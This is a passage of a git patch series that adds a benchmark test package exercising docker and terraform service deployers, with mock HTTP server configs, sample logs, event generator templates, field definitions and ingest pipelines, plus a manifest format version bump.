zixr&clyCx}KT;_pT>Db&W{Qa(hmP=VQ_wl80cSs6`nrJp(C;OHqil;>vciIkZuwFd
znDeLgmzfG!rTs~{7T-|I!dTUH5w9eue@5&TXxv(ge<c0@E7?Bd!e;9KXl^U^dLEO>
zP-k4#lO*CeW5#RG-P-t&lBsBaeGXM#puQUfV1lW7_v!(d)u)Ee#;-NgKe&jQwZWq`
zMmM%{(*ixhthCZGMl%P$DB&p@XZAA^Bu-Nk(*h)0XcqNe?|r(k>3V&Z3R^9?dj;<5
zGA<8RMUx#6n;EARsk#U8pRDgF6?3Ubd-V?w7Tv#X`9`TX%G{8~N}M-zr>2{_na&>z
zyub<ATs3g=V<xNsc0pY~)qODhpfg|{5(nj{U!XR2iFoxQn46a7h?zlaPH)o5EN|Vi
zjTK_Mu3VIkwSLAg!{s-=L59roF#+0jQqL5SV=gv~Z%$e-N1UZaH0C$@@PT-@^1q$h
zRR2E&x)B|Ty=bxjG(wqxUdI246Y5<hyJ6Et*|>u&_Tp#d{J>jA{^dg|g5S@JiZ+a1
zvFkyzj$`G$;h5%EoV{Z_#&z&@7rwUk-I{kuC4YBb4L`O!4Xf<&E&Ob-kemV9ckHbh
z=<08j_CE}6nq$YgLoU-M_bO(}JiRO&=HSL(x3MM}1>+XhzRtfc?@!pxSN3lhh(;4x
z4`QhqPdfZ6mkdeJlSCgX{;h+>baj+g30Lm-*ClN0t>+^7x}84w6?2@zF+sh<0pa()
zGZDq{bi)!b-qWYKW#ZM^go@i^#@_UAe*>~~-7`qrEI#yb(#|R5(h6ZMF|Na|iVg+x
z-urx2nhESpn73}sls>n+8rZ^o@oJX>a#gF#E*@}RR+d{jsEsUyICW4%!GJrn?^J=#
z$cxXhWf8Zy<|~Zu=(S#o7oJbB3T}m5FJmFevJ6xxT-Xinl=bvkLPR*cFI?E1%3$fc
zO}G)55)$e^HqzGK;g4$<7x5jO(SJZ&W`0M7^}EPY1^Wu-hYBTCY?ts?%+u(Zj*fGL
z*G{G%HVq=1MYBy;dGOvgM|l{38x>Ua@{OrF%n@tP73znt`=SGSzi!<UE^Sc<lPxSI
zV}!@3LGfMOAoeLFbMgVt>8Akwu*{7=K|frk|Db<d`}puQ{v>qVN$mXT;8l0FaQRl0
zHpS#AxECwT_n?K4D-*wGiTAc;vS34!qGhdxhXHQtmJBDJ#4~Wp3ntfqO1@XhqOV?N
za~5ptvChM`!7XgwZ%S)~rTAC^QSaOM@q^>BVwI!ZY-j&9cvD>>)%_j?T?fjQiu#QB
z>3rp_>B=PMebI!Lv{kk1%kk+t+(wNjg~0J1V$idwtF55aBL1t$z%4-K_YONjM(!>y
zbhy-*gZ?^q&pABOt`21cJ|cNhd{i`sG-5PkJ+ZB)Tm9G0HbjPk9rCehZsRFuJEKRr
zq4-@Hfj`Vkj&_ClUouO3|H+bb);Z~mM^l)cniCA9(@jLV^o{-UDyDkA;@za4+jy6k
z73PPxFYU~ZiALC`V18<?{xYjYRAFktLr}5ebn(fi3cEfyzr@lC{~C@sZ=GZB9iLuy
zk%tu}xl2yhIb#%4P2JrhnP5?Y(`ZGc=z&+-zOs#AZ`M%?-eJ0FWM|FM?0mXo#hw_V
zb0UCTRd#Q-?jn0ggk@Z`*9n@ET#0O5I`OWzkz<-+wkjwQc>jf}fq!bPpb@I#YB1+#
z=5J^BMnVXSS|5(Gv4XR{#Mf;a66YtCn*6=&IZ#9X0^tSjI{|i~A0?G1yrqHaIn-?a
z?}Co!3d9MsNB$La-ZfZOT?3aN&ubIk-SK{1xkyE{x$H02?U2XUkK%#cW!y=+=oh-?
z3hv4A`Oa2q=ys($e+{gvfJA0`9iM5={on>$x$Kk?+lsJa#<*oIIvC{#s8aHlP4J%$
z6i|xTJUsUN*R|#xScl_Z6=+kwiT!HYyQ~EnyX03dZ&bBHv<I@_VLoW(@w(z$Uqb!n
zVX8d7S009sl)n1nT=g+S?S<6*p!BwL7dNPeYLdL_H-vmOe+}NX%MZ?OYHDoG`(qWM
zyC3PD;V$oj=eA8Vt<W{zB`jW9fR}d=rySpYqtjtK@lc^UOmq^iN$?rmazb@qw*YeX
zXY5g})nd>1HJ$~bw?o1rSLeb+4ew^(IC<nw(?k08770*Bj*B0Y+Yv&*{cR$g%~$Ok
zW})ZTrs?j39M>DWgE3l-3^2~;On3IeH-jiUq!$IG9sZw-Y7>u!>V<q9FeB-;9OWQm
z%T#kt;h~u!D`V#B2O;-Nv$L&R(GSGocyO$Zfr|NC_&kxWGmcq}QeVG!FxN#8T1Z+A
z`Cx==BZkD5N{~Ar9w=B-g`9Nrlnor^@{|kAf<w)hq8?ApefQYvD`PW$^r?I#tl)c_
zIW{28r}=f==XKC&cI0K-IH4!}M%?WO9xF=aOmdx|8&(kqRtMPMu_X<+9*utv`LxS0
zzvl^KTstg|?@*<{$v^M~s<94JlQ}@nU9Gm!<fFGUUz~jE7|oIEn>1l&du`FAzd;FO
z_h_aYFN##Cs(97Jy!@XNbjFp(+hvpcqOdsodaE-l*~AlpEO*3)yEulOO=*}OlqC?d
zjF=nhT?EZx-S<4l^$e^0UgX~*sxO)aw_)NZ+-`pz-Mx%gVCaft!voEko@OSjChT&P
z<swB}opUHN9c-HB+?;GpxP-^I2F)ODvpx=q{iC0oOH%9kQB(7g#cwt47^5Si{*|Wt
z@9f<Fhu0IU2GW!t^U<V>pwS9SgMsVPzl~NcSuIB;2Z%=Z`Qd)lOubzukby4-8J{@(
zF{qz!scxxmj{Qyk3n4E4ZziifXK*Ia*>x8!3c7@pCfzHN7{9%PDps`}pR?VaAABW?
zP-=m6SgW<rl>F|smmNKFK^)San}jsI#exMwf*k<P=Q93>p?~SmA%yboSQt*WJQ4&I
z;OM2F(LLoa^oI<-ylurL7V%GZ@Gc)g@gle+O-{arxyOqSYODDD+KaWka#1}U=q;xk
zxXp^X@sb$uRQ&%M;MTFU!rAMuND}N>;zPlv%S>xK^xr$Va9-N(7;KGI{Zsa`)bDuW
JEW<x@{{b2Dp}YV9

literal 0
HcmV?d00001


From 450db853a7f96a2ecef3e20c9a3d4804388635e7 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Thu, 19 Mar 2026 12:59:40 +0530
Subject: [PATCH 04/19] update format version to latest

---
 .../benchmarks/system_benchmark_crowdstrike/manifest.yml        | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
index 454b43658e..537a611347 100644
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
@@ -3,7 +3,7 @@ title: CrowdStrike
 version: "3.5.0"
 description: Collect logs from Crowdstrike with Elastic Agent.
 type: integration
-format_version: "3.4.0"
+format_version: "3.5.8"
 categories: [security, edr_xdr]
 conditions:
   kibana:

From 06d6007be42c8b8c696002936d7c30fc1d0042e5 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Thu, 19 Mar 2026 16:41:19 +0530
Subject: [PATCH 05/19] test: add system_benchmark_multi_deployer test package
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Adds a benchmark test package that exercises both the `docker` and `tf`
service deployers in the system benchmark runner within a single package:

- `httpjson` data stream: `deployer: docker` — runs a mock HTTP server
  (stream image) serving generated JSON events, collected via httpjson input.
- `logfile` data stream: `deployer: tf` — uses the Terraform `local`
  provider to write a sample log file, collected via filestream input.
  No cloud credentials required, making it safe to run in standard CI.
---
 .../system/deploy/docker/docker-compose.yml   | 16 ++++++++
 .../system/deploy/docker/files/config.yml     | 20 ++++++++++
 .../_dev/benchmark/system/deploy/tf/env.yml   |  5 +++
 .../system/deploy/tf/files/sample.log         | 20 ++++++++++
 .../_dev/benchmark/system/deploy/tf/main.tf   |  5 +++
 .../benchmark/system/deploy/tf/variables.tf   | 26 +++++++++++++
 .../benchmark/system/docker-benchmark.yml     | 23 +++++++++++
 .../system/docker-benchmark/config.yml        | 16 ++++++++
 .../system/docker-benchmark/fields.yml        |  8 ++++
 .../system/docker-benchmark/template.ndjson   |  1 +
 .../_dev/benchmark/system/tf-benchmark.yml    | 20 ++++++++++
 .../benchmark/system/tf-benchmark/config.yml  | 39 +++++++++++++++++++
 .../benchmark/system/tf-benchmark/fields.yml  | 18 +++++++++
 .../system/tf-benchmark/template.log          |  1 +
 .../_dev/build/build.yml                      |  3 ++
 .../_dev/build/docs/README.md                 |  6 +++
 .../changelog.yml                             |  5 +++
 .../httpjson/agent/stream/httpjson.yml.hbs    | 12 ++++++
 .../elasticsearch/ingest_pipeline/default.yml | 21 ++++++++++
 .../httpjson/fields/base-fields.yml           | 20 ++++++++++
 .../data_stream/httpjson/fields/fields.yml    | 15 +++++++
 .../data_stream/httpjson/manifest.yml         | 34 ++++++++++++++++
 .../logfile/agent/stream/filestream.yml.hbs   |  4 ++
 .../elasticsearch/ingest_pipeline/default.yml | 21 ++++++++++
 .../logfile/fields/base-fields.yml            | 29 ++++++++++++++
 .../data_stream/logfile/fields/fields.yml     |  6 +++
 .../data_stream/logfile/manifest.yml          | 31 +++++++++++++++
 .../docs/README.md                            |  6 +++
 .../manifest.yml                              | 24 ++++++++++++
 29 files changed, 455 insertions(+)
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md
 create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml

diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml
new file mode 100644
index 0000000000..c8284a87bf
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml
@@ -0,0 +1,16 @@
+version: "2.3"
+services:
+  multi_deployer_httpjson:
+    image: docker.elastic.co/observability/stream:v0.20.0
+    hostname: multi_deployer_httpjson
+    ports:
+      - 8080
+    volumes:
+      - ./files:/files:ro
+      - ${SERVICE_LOGS_DIR}:/var/log
+    environment:
+      PORT: "8080"
+    command:
+      - http-server
+      - --addr=:8080
+      - --config=/files/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml
new file mode 100644
index 0000000000..34a8e609ca
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml
@@ -0,0 +1,20 @@
+rules:
+  - path: /events
+    methods: ["GET"]
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+            "data": [
+              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
+              {{- $g := glob "/var/log/corpus-*" -}}
+              {{- range $g -}}
+                {{- file . -}}
+              {{- end -}}
+              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
+              {"id":"placeholder","severity":"low","status":"open","source_ip":"1.2.3.4","@timestamp":"2024-01-01T00:00:00Z"}
+            ]
+          }
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml
new file mode 100644
index 0000000000..1200994302
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml
@@ -0,0 +1,5 @@
+version: '2.3'
+services:
+  terraform:
+    environment:
+      - TEST_RUN_ID=${TEST_RUN_ID}
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log
new file mode 100644
index 0000000000..7d51ddc5d6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log
@@ -0,0 +1,20 @@
+1.2.3.4 - - [15/Jan/2024:10:20:30 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
+5.6.7.8 - - [15/Jan/2024:10:20:31 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0"
+9.10.11.12 - - [15/Jan/2024:10:20:32 +0000] "POST /api/v1/events HTTP/1.1" 201 256 "-" "benchmark-client/1.0"
+13.14.15.16 - - [15/Jan/2024:10:20:33 +0000] "GET /health HTTP/1.1" 200 64 "-" "benchmark-client/1.0"
+17.18.19.20 - - [15/Jan/2024:10:20:34 +0000] "GET /metrics HTTP/1.1" 200 2048 "-" "benchmark-client/1.0"
+21.22.23.24 - - [15/Jan/2024:10:20:35 +0000] "GET /index.html HTTP/1.1" 404 128 "-" "benchmark-client/1.0"
+25.26.27.28 - - [15/Jan/2024:10:20:36 +0000] "GET /api/v1/data HTTP/1.1" 400 64 "-" "benchmark-client/1.0"
+29.30.31.32 - - [15/Jan/2024:10:20:37 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
+33.34.35.36 - - [15/Jan/2024:10:20:38 +0000] "DELETE /api/v1/item/1 HTTP/1.1" 204 0 "-" "benchmark-client/1.0"
+37.38.39.40 - - [15/Jan/2024:10:20:39 +0000] "GET /api/v1/status HTTP/1.1" 200 128 "-" "benchmark-client/1.0"
+41.42.43.44 - - [15/Jan/2024:10:20:40 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
+45.46.47.48 - - [15/Jan/2024:10:20:41 +0000] "PUT /api/v1/item/2 HTTP/1.1" 200 256 "-" "benchmark-client/1.0"
+49.50.51.52 - - [15/Jan/2024:10:20:42 +0000] "GET /favicon.ico HTTP/1.1" 404 32 "-" "benchmark-client/1.0"
+53.54.55.56 - - [15/Jan/2024:10:20:43 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0"
+57.58.59.60 - - [15/Jan/2024:10:20:44 +0000] "POST /api/v1/events HTTP/1.1" 201 256 "-" "benchmark-client/1.0"
+61.62.63.64 - - [15/Jan/2024:10:20:45 +0000] "GET /health HTTP/1.1" 200 64 "-" "benchmark-client/1.0"
+65.66.67.68 - - [15/Jan/2024:10:20:46 +0000] "GET /metrics HTTP/1.1" 200 2048 "-" "benchmark-client/1.0"
+69.70.71.72 - - [15/Jan/2024:10:20:47 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
+73.74.75.76 - - [15/Jan/2024:10:20:48 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0"
+77.78.79.80 - - [15/Jan/2024:10:20:49 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf
new file mode 100644
index 0000000000..48d10519f0
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf
@@ -0,0 +1,5 @@
+resource "local_file" "benchmark_log" {
+  source          = "./files/sample.log"
+  filename        = "/tmp/service_logs/tf-benchmark-${var.TEST_RUN_ID}.log"
+  file_permission = "0777"
+}
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf
new file mode 100644
index 0000000000..32d90dee64
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf
@@ -0,0 +1,26 @@
+variable "BRANCH" {
+  description = "Branch name or pull request for tagging purposes"
+  default     = "unknown-branch"
+}
+
+variable "BUILD_ID" {
+  description = "Build ID in the CI for tagging purposes"
+  default     = "unknown-build"
+}
+
+variable "CREATED_DATE" {
+  description = "Creation date in epoch time for tagging purposes"
+  default     = "unknown-date"
+}
+
+variable "ENVIRONMENT" {
+  default = "unknown-environment"
+}
+
+variable "REPO" {
+  default = "unknown-repo-name"
+}
+
+variable "TEST_RUN_ID" {
+  default = "detached"
+}
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml
new file mode 100644
index 0000000000..3ac4c780cd
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml
@@ -0,0 +1,23 @@
+---
+description: Benchmark events ingested via docker deployer (httpjson input)
+input: httpjson
+deployer: docker
+vars:
+  url: http://{{Hostname}}:{{Port}}
+data_stream:
+  name: httpjson
+  vars:
+    interval: 1s
+warmup_time_period: 2s
+corpora:
+  input_service:
+    name: multi_deployer_httpjson
+  generator:
+    total_events: 1000
+    template:
+      path: ./docker-benchmark/template.ndjson
+      type: gotext
+    config:
+      path: ./docker-benchmark/config.yml
+    fields:
+      path: ./docker-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml
new file mode 100644
index 0000000000..fdf8edca15
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml
@@ -0,0 +1,16 @@
+fields:
+  - name: severity
+    enum:
+      - low
+      - medium
+      - high
+      - critical
+  - name: status
+    enum:
+      - open
+      - closed
+      - in_progress
+  - name: source_ip
+    cardinality: 1000
+  - name: event_id
+    cardinality: 100000
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml
new file mode 100644
index 0000000000..7bb08ba905
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml
@@ -0,0 +1,8 @@
+- name: event_id
+  type: keyword
+- name: severity
+  type: keyword
+- name: status
+  type: keyword
+- name: source_ip
+  type: ip
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson
new file mode 100644
index 0000000000..b67f1e8658
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson
@@ -0,0 +1 @@
+{"id":"{{.event_id}}","severity":"{{.severity}}","status":"{{.status}}","source_ip":"{{.source_ip}}","@timestamp":"2024-01-01T00:00:00Z"},
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml
new file mode 100644
index 0000000000..8f8d50921c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml
@@ -0,0 +1,20 @@
+---
+description: Benchmark events ingested via tf deployer (filestream input)
+input: filestream
+deployer: tf
+data_stream:
+  name: logfile
+  vars:
+    paths:
+      - "{{SERVICE_LOGS_DIR}}/tf-benchmark-{{TEST_RUN_ID}}.log"
+warmup_time_period: 2s
+wait_for_data_timeout: 5m
+corpora:
+  generator:
+    total_events: 1000
+    template:
+      path: ./tf-benchmark/template.log
+    config:
+      path: ./tf-benchmark/config.yml
+    fields:
+      path: ./tf-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml
new file mode 100644
index 0000000000..bbceb2681c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml
@@ -0,0 +1,39 @@
+fields:
+  - name: IP
+    cardinality: 100
+  - name: Day
+    range:
+      min: 1
+      max: 28
+  - name: H
+    range:
+      min: 10
+      max: 23
+  - name: MS
+    range:
+      min: 10
+      max: 59
+  - name: Mon
+    enum:
+      - "Jan"
+      - "Feb"
+      - "Mar"
+      - "Apr"
+      - "May"
+      - "Jun"
+      - "Jul"
+      - "Aug"
+      - "Sep"
+      - "Oct"
+      - "Nov"
+      - "Dec"
+  - name: StatusCode
+    enum: ["200", "400", "404"]
+  - name: Size
+    range:
+      min: 1
+      max: 1000
+  - name: Port
+    range:
+      min: 8000
+      max: 8080
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml
new file mode 100644
index 0000000000..4ed5ea81a4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml
@@ -0,0 +1,18 @@
+- name: IP
+  type: ip
+- name: Day
+  type: long
+- name: Mon
+  type: keyword
+- name: H
+  type: long
+- name: MS
+  type: long
+- name: StatusCode
+  type: keyword
+- name: Size
+  type: long
+- name: Hostname
+  type: keyword
+- name: Port
+  type: long
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log
new file mode 100644
index 0000000000..9299f9d886
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log
@@ -0,0 +1 @@
+{{.IP}} - - [{{.Day}}/{{.Mon}}/2024:{{.H}}:{{.MS}}:{{.MS}} +0000] "GET /index.html HTTP/1.1" {{.StatusCode}} {{.Size}} "-" "benchmark-client/1.0"
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml
new file mode 100644
index 0000000000..2bfcfc223b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml
@@ -0,0 +1,3 @@
+dependencies:
+  ecs:
+    reference: "git@v8.11.0"
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md
new file mode 100644
index 0000000000..fb5302bfb7
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md
@@ -0,0 +1,6 @@
+# Multi-Deployer Benchmark
+
+Test package that exercises both `docker` and `tf` service deployers in system benchmarks.
+
+- **httpjson** data stream: uses a `docker` deployer running a mock HTTP server.
+- **logfile** data stream: uses a `tf` deployer with the Terraform `local` provider (no cloud credentials required).
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml
new file mode 100644
index 0000000000..813cf1cf77
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml
@@ -0,0 +1,5 @@
+- version: "0.1.0"
+  changes:
+    - description: Initial release.
+      type: enhancement
+      link: https://github.com/elastic/elastic-package/pull/1
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs
new file mode 100644
index 0000000000..55b6a7330a
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs
@@ -0,0 +1,12 @@
+config_version: 2
+interval: {{interval}}
+request.method: GET
+request.url: {{url}}/events
+response.split:
+  target: body.data
+  type: array
+processors:
+  - add_fields:
+      target: ''
+      fields:
+        ecs.version: "8.11.0"
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml
new file mode 100644
index 0000000000..f2ecad9e8f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml
@@ -0,0 +1,21 @@
+---
+description: Pipeline for multi_deployer httpjson data stream.
+processors:
+  - set:
+      field: event.kind
+      value: event
+  - set:
+      field: event.dataset
+      value: multi_deployer.httpjson
+  - set:
+      field: event.module
+      value: multi_deployer
+on_failure:
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: error.message
+      value: >-
+        Processor "{{ _ingest.on_failure_processor_type }}" with tag "{{ _ingest.on_failure_processor_tag }}"
+        in pipeline "{{ _ingest.on_failure_pipeline }}" failed with message "{{ _ingest.on_failure_message }}"
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml
new file mode 100644
index 0000000000..362c84bcef
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml
@@ -0,0 +1,20 @@
+- name: data_stream.type
+  type: constant_keyword
+  description: Data stream type.
+- name: data_stream.dataset
+  type: constant_keyword
+  description: Data stream dataset.
+- name: data_stream.namespace
+  type: constant_keyword
+  description: Data stream namespace.
+- name: event.module
+  type: constant_keyword
+  description: Event module.
+  value: multi_deployer
+- name: event.dataset
+  type: constant_keyword
+  description: Event dataset.
+  value: multi_deployer.httpjson
+- name: '@timestamp'
+  type: date
+  description: Event timestamp.
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml
new file mode 100644
index 0000000000..83758fbcb1
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml
@@ -0,0 +1,15 @@
+- name: multi_deployer.httpjson
+  type: group
+  fields:
+    - name: id
+      type: keyword
+      description: Event ID.
+    - name: severity
+      type: keyword
+      description: Event severity.
+    - name: status
+      type: keyword
+      description: Event status.
+    - name: source_ip
+      type: ip
